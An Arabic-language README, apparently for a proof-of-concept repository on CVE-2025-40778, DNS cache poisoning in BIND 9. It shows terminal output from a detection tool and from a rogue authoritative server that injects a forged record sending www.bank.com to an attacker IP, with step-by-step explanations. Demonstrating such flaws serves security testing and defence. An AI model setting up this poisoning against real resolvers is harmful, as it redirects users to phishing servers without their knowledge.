
إثبات مفهوم يوضح تسميم ذاكرة التخزين المؤقت لنظام DNS عبر حقن سجلات إضافية في BIND 9، مع أدوات للتحقق من واستغلال CVE-2025-40778 لاختبارات الأمان المصرح بها.
عرض تعليمي لثغرة تسميم ذاكرة التخزين المؤقت لنظام DNS عبر حقن سجلات إضافية.
لأغراض تعليمية فقط
هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرح بها فقط. الاستخدام غير المصرح به لهذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها هو أمر غير قانوني وغير أخلاقي.
لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة.
يوضح هذا الإثبات كيف يمكن لخادم DNS موثوق تم اختراقه حقن سجلات مسمومة في استجابات DNS، مما قد يعيد توجيه المستخدمين إلى خوادم ضارة دون علمهم.
متجه الهجوم:
السيناريوهات المحتملة:
👤 المؤلف والتواصل
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
تكتشف هذه الأداة ما إذا كان من الممكن استغلال الثغرة CVE-2025-40778
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
الوصف: في هذه الخطوة، تقوم بتشغيل خادم DNS موثوق ضار يحاكي خادم أسماء مخترقًا. يستمع الخادم على عنوان IP ومنفذ محددين (127.0.0.2:5301)، جاهزًا لحقن سجلات DNS مسمومة في الاستجابات. عند التكوين، سيستجيب للاستعلامات المشروعة لـ www.test.local بعنوان IP الصحيح، ولكن في نفس الوقت يحقن سجلًا ضارًا لـ www.bank.com يشير إلى عنوان IP يتحكم فيه المهاجم. هذا السلوك المزدوج في الاستجابة هو جوهر هجوم تسميم ذاكرة التخزين المؤقت - سيخزن محلل DNS المعرض للخطر كلاً من الإجابة المشروعة والسجل المسموم مؤقتًا، حتى لو تم طلب نطاق واحد فقط.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
الوصف: هنا تقوم بإجراء استعلام DNS قياسي من خلال محلل DNS المحلي (BIND) للتحقق من أن البنية التحتية تعمل بشكل صحيح. يجب أن يعيد استعلام www.test.local عنوان IP المشروع (192.168.0.136) كما هو متوقع. في هذه المرحلة، يبدو الاستجابة طبيعية للمستخدم النهائي - لا يوجد مؤشر مرئي على الاختراق. ومع ذلك، خلف الكواليس، قام محلل DNS المعرض للخطر بالفعل بتخزين كلا السجلين مؤقتًا: السجل المشروع الذي طلبته والسجل المسموم لـ www.bank.com الذي تم حقنه في القسم الإضافي من الاستجابة. تؤكد هذه الخطوة أن محلل DNS الخاص بك تواصل بنجاح مع الخادم الموثوق الضار وعالج استجابته.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87
الوصف: تكشف هذه الخطوة عن دليل نجاح تسميم ذاكرة التخزين المؤقت من منظور المهاجم. تُظهر سجلات خادم DNS الضار أنه استلم الاستعلام لـ www.test.local، واستجاب بالإجابة المشروعة، ونجح في حقن سجل التسميم لـ www.bank.com. يشير الترميز "RRs: A,A" إلى أنه تم إرسال سجلين من نوع A في الاستجابة - أحدهما مشروع والآخر ضار. في هذه اللحظة، تكون ذاكرة التخزين المؤقت لـ DNS الخاصة بالضحية معرضة للخطر. أي استعلامات لاحقة لـ www.bank.com من هذا المحلل ستعيد عنوان IP الخاص بالمهاجم (192.168.0.100) بدلاً من موقع البنك الحقيقي، مما يتيح هجمات تصيد شفافة حيث يرى المستخدمون عنوان URL الصحيح ولكنهم يتصلون بخادم ضار. الهجوم غير مرئي للمستخدمين النهائيين وسيستمر حتى تنتهي صلاحية ذاكرة التخزين المؤقت لـ DNS (TTL).